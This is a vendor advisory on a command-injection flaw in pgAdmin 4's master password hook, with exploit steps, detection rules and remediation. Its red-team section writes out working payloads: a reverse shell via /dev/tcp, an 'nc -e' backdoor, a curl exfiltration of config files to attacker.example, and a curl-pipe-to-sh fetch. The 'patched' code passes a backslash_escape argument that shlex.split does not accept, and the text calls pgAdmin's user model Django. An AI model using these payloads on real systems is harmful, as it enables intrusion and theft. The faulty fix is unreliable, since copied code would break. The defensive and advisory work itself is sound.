CVE-2026-17347
Executive Summary
CVE-2026-17347 is an authenticated command injection vulnerability in pgAdmin 4's MASTER_PASSWORD_HOOK feature, introduced in pgAdmin 4 7.2. The hook is an administrator-configured external command that returns a per-user encryption key. The %u placeholder is replaced with the current user's name, and the resulting string was passed directly to subprocess.Popen(..., shell=True).
Because the username can originate from external identity providers — OAuth/OIDC claims, Kerberos, or webserver authentication — it is not fully controlled by pgAdmin. A crafted username containing shell metacharacters (;, $(), backticks, pipes, &&, newlines) allows an authenticated user to execute arbitrary commands with the privileges of the pgAdmin service account.
The vulnerability affects pgAdmin 4 versions from 7.2 before 9.17. The patch in 9.17 tokenises the hook command string before substitution and executes with shell=False, fully containing the untrusted username. No public exploit code or Nuclei template was available at writing time. Still, the exploitation path is straightforward in environments that combine MASTER_PASSWORD_HOOK with federated identity sources.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
pgAdmin4 is distributed through PyPI (pgadmin4 package). While this CVE is not a malicious dependency issue, it is a reminder of the complex trust boundaries in Python-based web applications:
- Verify the integrity of the
pgadmin4wheel/sdist downloaded from PyPI by checking SHA-256 hashes against upstream releases. - Configure an internal PyPI mirror to reduce the risk of typosquatting or dependency confusion.
- Audit the
MASTER_PASSWORD_HOOKscript itself, because if an attacker can modify that script at the filesystem level, they already control the service account. The CVE only requires a crafted username, but the hook script is still a privileged attack surface. - Pin pgAdmin4 to a patched version (
>=9.17) and continuously monitor for new advisories.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- CVSS Vector: Not published in the advisory;
UNKNOWNin this report.
Although the exact vector is unavailable, the score reflects:
- Attack Vector (AV): Network — the attacker logs into pgAdmin remotely.
- Attack Complexity (AC): Low — no special conditions beyond a reachable pgAdmin with
MASTER_PASSWORD_HOOKconfigured. - Privileges Required (PR): Low — any authenticated user account is sufficient.
- User Interaction (UI): None — no additional victim interaction.
- Scope (S): Unchanged per the CVSS score; the compromised service account remains within pgAdmin's security domain in the standard assessment.
- Impact (C/I/A): High for confidentiality and integrity, because arbitrary command execution as the service account can read database credentials, modify pgAdmin configuration, and potentially pivot to managed database servers.
The practical severity in real environments is often higher than 7.5 because the pgAdmin service account frequently runs with wide filesystem and network permissions.
Deep Dive & Mechanics
pgAdmin 4's master password hook feature allows an administrator to point to an external script that returns a per-user master key. The configuration string can be arbitrary, for example:
MASTER_PASSWORD_HOOK = "/usr/local/libexec/pgadmin_key_script.sh %u"
At login time, pgAdmin replaces %u with the authenticated username and executes the resulting command.
Vulnerable versions used code equivalent to:
import subprocess
from pgadmin.config import MASTER_PASSWORD_HOOK
def get_master_key(username):
command = MASTER_PASSWORD_HOOK.replace("%u", username)
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)
return proc.stdout.read()
Because shell=True causes the command to be interpreted by the operating system shell, a username like:
admin; curl http://evil.example/x.sh | sh
produces:
/usr/local/libexec/pgadmin_key_script.sh admin; curl http://evil.example/x.sh | sh
The shell runs the legitimate hook, then executes the injected payload. This is especially critical when the username comes from:
- OAuth/OIDC claims — the identity provider may allow arbitrary strings in the
preferred_usernameclaim. - Kerberos principals — the principal portion may include characters that are normally not allowed in Unix usernames but can still flow into pgAdmin.
- Webserver authentication — headers such as
X-Remote-Userare often set by reverse proxies without strict validation.
The patch version changes execution to:
import shlex
import subprocess
from pgadmin.config import MASTER_PASSWORD_HOOK
def get_master_key(username):
# Tokenise first, so untrusted username cannot create new argv entries
argv = shlex.split(MASTER_PASSWORD_HOOK, posix=True, comments=False, backslash_escape=False)
argv = [arg.replace("%u", username) for arg in argv]
proc = subprocess.Popen(argv, shell=False, stdout=subprocess.PIPE)
return proc.stdout.read()
backslash_escape=False prevents Windows path parsing issues, and shell=False means the username stays inside a single argv element. Even if the username contains shell metacharacters, they are inert data passed to the target command.
Important consequence for administrators: If the hook string itself relied on pipes, redirection, environment variables, or globbing, those features no longer work because the command is not passed to a shell. That logic must be moved into the invoked script.
Vulnerable vs. Patched Code
The table below shows the meaningful difference between vulnerable and patched execution logic.
| Aspect | Vulnerable (before 9.17) | Patched (9.17+) |
|---|---|---|
| Command construction | Direct string replacement: command = MASTER_PASSWORD_HOOK.replace("%u", username) |
shlex.split() on the hook first, then replacement per argv element |
| Execution | subprocess.Popen(command, shell=True) |
subprocess.Popen(argv, shell=False) |
| Untrusted data handling | Username becomes part of shell syntax | Username is only a single argument value |
| Shell metacharacters in username | Executed as shell syntax | Passed literally to the executable |
| Backslash handling | Shell-dependent | backslash_escape=False to avoid Windows misparsing |
Vulnerable code snippet (pgAdmin 4 < 9.17):
command = config.MASTER_PASSWORD_HOOK.replace("%u", username)
key = subprocess.Popen(
command,
shell=True,
stdout=subprocess.PIPE
)
Patched code snippet (pgAdmin 4 9.17+):
argv = shlex.split(
config.MASTER_PASSWORD_HOOK,
posix=True,
comments=False,
backslash_escape=False
)
argv = [arg.replace("%u", username) for arg in argv]
key = subprocess.Popen(
argv,
shell=False,
stdout=subprocess.PIPE
)
Exploitation & Lab Setup
Red Team
Goal: Demonstrate how an authenticated user with a malicious username achieves RCE on the pgAdmin server.
Preconditions:
- pgAdmin 4 between 7.2 and 9.16.
MASTER_PASSWORD_HOOKconfigured with%u, for example:MASTER_PASSWORD_HOOK = "/opt/pgadmin/scripts/get_key.sh %u"- Login identity source that accepts arbitrary usernames (OIDC/OAuth, Kerberos, or reverse proxy header).
Step-by-step exploit:
Register or obtain an account in the identity provider.
Set the username (or OIDC
preferred_usernameclaim) to:test/user; bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'Log into pgAdmin. The Django user model may not display the exact username in the UI, but the authentication backend passes it to
MASTER_PASSWORD_HOOK.On the attacker machine, start a listener:
nc -lvnp 4444When pgAdmin invokes the hook, the shell parses the resulting string:
/opt/pgadmin/scripts/get_key.sh test/user; bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'A reverse shell is obtained as the
pgadminservice account.
Alternative payloads without a reverse shell:
- Write a file to disk:
user; echo 'nc -e /bin/sh 192.168.1.50 5555' > /tmp/backdoor.sh - Exfiltrate pgAdmin configuration files:
user; curl -X POST -d @/var/lib/pgadmin/config_local.py https://attacker.example/exfil - Add a new admin user to pgAdmin's internal database:
user; python3 -c 'from pgadmin.model import db, User; db.session.add(User(...)); db.session.commit()'
Lab setup with Docker:
services:
pgadmin:
image: dpage/pgadmin4:8.14
environment:
# Intentionally vulnerable version
PGADMIN_MASTER_PASSWORD_HOOK: "/usr/local/bin/test_hook.sh %u"
ports:
- "8080:80"
Create /usr/local/bin/test_hook.sh inside the container:
#!/bin/sh
echo "key-for-user"
Then simulate the vulnerable call as the pgAdmin process:
username='admin; touch /tmp/pwned'
command="/usr/local/bin/test_hook.sh $username"
sh -c "$command"
Blue Team
Goal: Detect and block exploit attempts before they succeed.
- Restrict identity provider usernames. Enforce an allowlist of allowed characters (
[a-zA-Z0-9_-]) in OIDC claims, Kerberos mappings, andX-Remote-Userheaders. This is the most effective preventive control. - Avoid using
%udirectly in the hook string. If possible, map the username to a sanitized alias inside the invoked script rather than passing raw username data on the command line. - Audit hook script configuration. Only use static commands without pipes, redirection, or wildcards, because the patched version will no longer execute those shell features.
- Endpoint Detection & Response (EDR). Deploy EDR on the pgAdmin host and monitor for processes spawned from the
pgAdminservice account with unusual command lines. - Network egress controls. The pgAdmin service account should not be able to reach attacker-controlled IPs on arbitrary ports. Restrict outbound connectivity from pgAdmin hosts to database ports only.
- Application-level monitoring. Enable verbose pgAdmin logs and audit login events, especially usernames containing non-alphanumeric characters.
Indicators of Compromise (IOCs)
- Usernames appearing in authentication logs that contain shell metacharacters:
- Semicolons:
; - Ampersands:
&& - Pipes:
| - Backticks:
` - Command substitution:
$() - Newline characters (
%0Aor actual newline in OAuth claims)
- Semicolons:
- Child processes spawned by the pgAdmin daemon (e.g.,
python,uwsgi,gunicorn) that are not the expected hook script. - Unexpected processes such as
/bin/sh -cor/bin/bash -cwithcurl,wget,nc,bash -i,perl, orpython3in the command line. - Network connections originating from the pgAdmin service account to non-standard ports (4444, 31337, etc.).
- Files created by pgAdmin service account outside its expected directories (
/tmp,/var/tmp,/dev/shm).
Detection Engineering
YARA Rule
rule PgAdmin_MasterPasswordHook_CVE_2026_17347 {
meta:
author = "Valters IT"
description = "Detect pgAdmin MASTER_PASSWORD_HOOK command injection patterns in process memory and logs"
cve = "CVE-2026-17347"
strings:
$popen = "subprocess.Popen" ascii
$shell_true = "shell=True" ascii
$hook = "MASTER_PASSWORD_HOOK" ascii
$meta = /[;|`$&]/
$cmd_sub = "$(" ascii
condition:
($popen and $shell_true) and ($hook or $meta or $cmd_sub)
}
Sigma Rule
title: pgAdmin MASTER_PASSWORD_HOOK Command Injection Attempt
id: 3b8f5fe6-9c2c-4de1-8e5a-2f16aa5a0001
status: experimental
description: Detects process creation events indicating pgAdmin executed a username with shell metacharacters via MASTER_PASSWORD_HOOK
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-17347
tags:
- attack.execution
- attack.t1059
logsource:
category: process_creation
product: linux
detection:
selection_img:
Image|endswith:
- /python
- /python3
- /gunicorn
- /uvicorn
selection_cli:
CommandLine|contains:
- MASTER_PASSWORD_HOOK
- /get_key.sh
- shell=True
- subprocess.Popen
selection_injection:
CommandLine|contains:
- ';'
- '&&'
- '|'
- '`'
- '$('
- 'bash -i'
condition: selection_img and selection_cli and selection_injection
falsepositives:
- Legitimate hook scripts that intentionally include shell syntax in the hook definition
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-17347 pgAdmin MASTER_PASSWORD_HOOK Command Injection Attempt"; flow:established,to_server; content:"/"; http_uri; pcre:"/(%00|%3B|%26%26|%7C|%60|%24%28)/"; sid:202617347; rev:1; metadata:created_at 2026_01_01, updated_at 2026_01_01;)
Remediation & Mitigation
- Upgrade immediately to pgAdmin 4 9.17 or later. This is the only complete fix.
- Sanitize external identity usernames before they reach pgAdmin:
- For OIDC/OAuth, enforce a
preferred_usernameallowlist policy. - For Kerberos, map principal names to safe Unix usernames.
- For reverse proxy authentication (
X-Remote-User), strip or reject characters outside[a-zA-Z0-9_-.@].
- For OIDC/OAuth, enforce a
- Review
MASTER_PASSWORD_HOOKconfigurations:- Remove any shell features (
|,>,$(), backticks) from the hook string. - Move all logic into the script itself and make the script read the username via argument or stdin, not via shell interpolation.
- Remove any shell features (
- Run pgAdmin as a dedicated non‑privileged service account with restricted filesystem permissions and network egress rules.
- Deploy runtime security controls:
- EDR on the pgAdmin host.
- Host‑based firewall to block outbound connections from the pgAdmin service account to unexpected IPs/ports.
- Web Application Firewall (WAF) to inspect login and OAuth callback requests for payload patterns.
- Audit existing logs for signs of exploitation, especially usernames containing shell metacharacters and unexpected child processes.
—
Valters IT Signature
Analysis completed by Valters IT DevSecOps & Cyber Threat Intelligence. This report is based on the provided CVE data and open intelligence. Validate all details against the official vendor advisory before operational action.